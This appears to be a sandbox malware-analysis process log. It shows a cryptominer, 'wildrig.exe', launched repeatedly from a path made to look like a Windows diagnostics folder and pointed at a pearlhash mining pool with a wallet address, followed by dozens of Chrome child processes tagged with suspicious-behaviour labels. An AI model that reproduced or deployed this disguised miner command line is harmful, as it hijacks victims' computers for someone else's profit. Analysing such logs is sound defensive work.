C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x108,0x134,0x7fff537dc728,0x7fff537dc734,0x7fff537dc7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1880,i,10858165842243315899,16338916774062298024,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,17980880370486081343,15933545090159636543,262144 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=1964 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2296,i,7636813555574601399,7330119212608396784,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3256,i,2270773478180288374,16659613590897033121,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3272,i,17112841629981142818,4656678230909668655,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4696,i,6308087216971464055,12008775402717257597,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4848,i,14850205935820863662,11089296874687192541,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5404,i,3437370897972440643,9109546939090118565,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5468,i,11461874017053677399,12834965072906225205,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5480,i,6137019037920020718,16838514508639718994,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5836,i,11102992464732528171,4241092044613117659,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5492,i,7558699518511591986,14227200716998574,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5480,i,11941093800319041557,17502544496230576530,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6028,i,7244034013585189039,10181742546596439818,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5844,i,10253956427876478390,5951286522871181167,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5776,i,4695917553564712821,13399640760733237160,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,14303830573750850527,5301985193860109467,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5504,i,7112420698984550769,11030461418574361128,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4720,i,8638179941495944774,7596124983274568333,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5744,i,9140845065285856714,9444540781977844185,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6176,i,18195065179127284355,147933668909076100,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=4860,i,3655761692190237772,6438669134493042034,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5504,i,11336014943436866341,5137448519978774691,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=3920,i,12399111438468045375,15291026937084994157,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=6668,i,2971162028732443885,9973719360232950568,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6704,i,4166990710058197697,8605300147585121020,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=5020,i,13946142735797000011,12995880313203815467,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=7048,i,4237151602287964373,16098670448428062174,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7060 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=7080,i,2839554698110662528,5896573099544029925,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --metrics-shmem-handle=6088,i,12039741146499085256,12368034951583289769,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7172 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --metrics-shmem-handle=7232,i,12409594462857091604,13417005223173612985,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7256 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=7196,i,16170585382554484572,12077093356985305253,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7500 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --metrics-shmem-handle=7540,i,4540281986806170579,10640035652635943114,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7560 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --metrics-shmem-handle=7784,i,2247441937052032246,16943249903417378632,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7792 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --metrics-shmem-handle=7844,i,5433021412747613320,15827053314992732230,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7824 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --metrics-shmem-handle=7984,i,11885417157571304709,2481247008280365942,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=8004 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --metrics-shmem-handle=8148,i,2214235713518761715,4168288086870836388,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=8164 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --metrics-shmem-handle=8308,i,10165920379768488370,13646886897879226127,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=8320 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --metrics-shmem-handle=8444,i,5229410266959629757,4944453374825230478,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=8460 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --metrics-shmem-handle=8612,i,16121442453921498207,8737543208110299093,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=8704 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --metrics-shmem-handle=8764,i,14907553253265498871,4055600932163564162,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=8872 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --metrics-shmem-handle=6392,i,7308966361609299925,17664698460921723169,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --metrics-shmem-handle=9040,i,668348553077269968,15391395189861283103,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=9144,i,16697274927281699570,8344292787225960295,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=8756 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=9180,i,9608994655081074405,1421416156747168375,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=9196 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=9188,i,8340303743525669987,441546847399029021,524288 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=9240 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --metrics-shmem-handle=9224,i,1821807403732468250,14930168399645549287,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --metrics-shmem-handle=6440,i,10013826647926741798,33510990041401676,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6040 /prefetch:12⤵
-
-
